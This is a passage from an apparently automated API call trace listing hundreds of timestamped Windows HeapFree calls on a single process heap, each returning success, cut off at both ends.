| out: hHeap=0x420000) returned 1 [0158.334] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0158.336] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0158.337] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0158.337] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0158.395] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0158.395] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0158.396] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.397] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.397] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.398] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.398] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.399] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.399] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0158.400] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0158.403] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb0978 | out: hHeap=0x420000) returned 1 [0158.464] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0158.479] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0158.479] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0158.479] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4074858 | out: hHeap=0x420000) returned 1 [0159.004] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0159.024] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0159.025] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0159.025] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0159.027] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0159.027] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0159.027] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0159.029] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0159.031] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0159.033] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0159.035] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0159.035] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0159.035] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0159.037] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0159.039] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0159.039] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0159.040] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fb0978 | out: hHeap=0x420000) returned 1 [0159.349] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0159.351] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0159.354] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0159.357] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0160.296] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0160.335] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0160.335] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0160.335] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0160.342] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0160.345] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0160.350] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0160.350] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0160.356] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0160.467] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0160.475] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0161.905] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0161.906] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0161.908] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0161.908] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0161.908] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0161.910] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0161.911] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0161.911] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0162.184] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0162.209] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0162.221] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0162.224] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0162.263] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0162.264] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0162.264] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0162.264] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0162.744] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x408ef20 | out: hHeap=0x420000) returned 1 [0162.792] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4130f88 | out: hHeap=0x420000) returned 1 [0162.796] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4130f88 | out: hHeap=0x420000) returned 1 [0162.800] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0162.810] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0162.819] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0162.832] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0162.995] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.002] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.006] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.047] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.051] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.054] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.058] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.061] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.064] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.068] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.073] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.077] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.211] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.222] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.240] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x40371c8 | out: hHeap=0x420000) returned 1 [0163.250] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.252] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.253] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.256] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.258] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.260] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.262] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.263] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.265] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.267] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.394] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.400] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.404] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.407] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.410] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.413] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.416] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.420] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.424] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.430] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.435] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.442] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.660] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0163.660] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0163.662] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0163.705] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0163.732] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0163.736] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0163.740] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0163.747] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0163.753] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0163.766] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0163.773] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0163.778] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0163.877] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4140f90 | out: hHeap=0x420000) returned 1 [0163.910] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0163.962] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.254] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.273] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.299] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.319] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.334] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.340] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.349] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.353] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.361] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.365] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.368] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.402] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.406] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.655] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.659] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.661] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.665] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.709] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.712] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.716] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.718] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.722] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.726] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.729] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.733] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0164.997] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.005] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.010] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.015] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.019] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.022] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.027] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.030] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.030] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4014830 | out: hHeap=0x420000) returned 1 [0165.041] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.188] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.211] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.216] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.220] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.225] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.229] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.233] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.234] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.238] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.243] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.672] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.677] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.681] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.758] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.777] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.798] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0165.814] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.125] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.149] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.160] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.162] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.164] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.166] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.168] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.170] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.174] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.394] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.400] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.406] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.411] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.418] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4024838 | out: hHeap=0x420000) returned 1 [0166.420] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.420] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.421] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.422] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.423] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.424] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.425] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.426] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.427] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.427] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.429] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.430] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.431] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.431] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.433] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.434] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.436] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.437] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.438] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.438] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.439] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.440] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.441] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.442] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.442] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.443] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.444] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.444] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.445] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.446] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.447] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.448] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.449] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.450] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.451] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.537] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.538] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.539] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.540] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.542] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.543] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.545] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4160fa0 | out: hHeap=0x420000) returned 1 [0166.545] HeapFree (in: hHeap=0x420000, 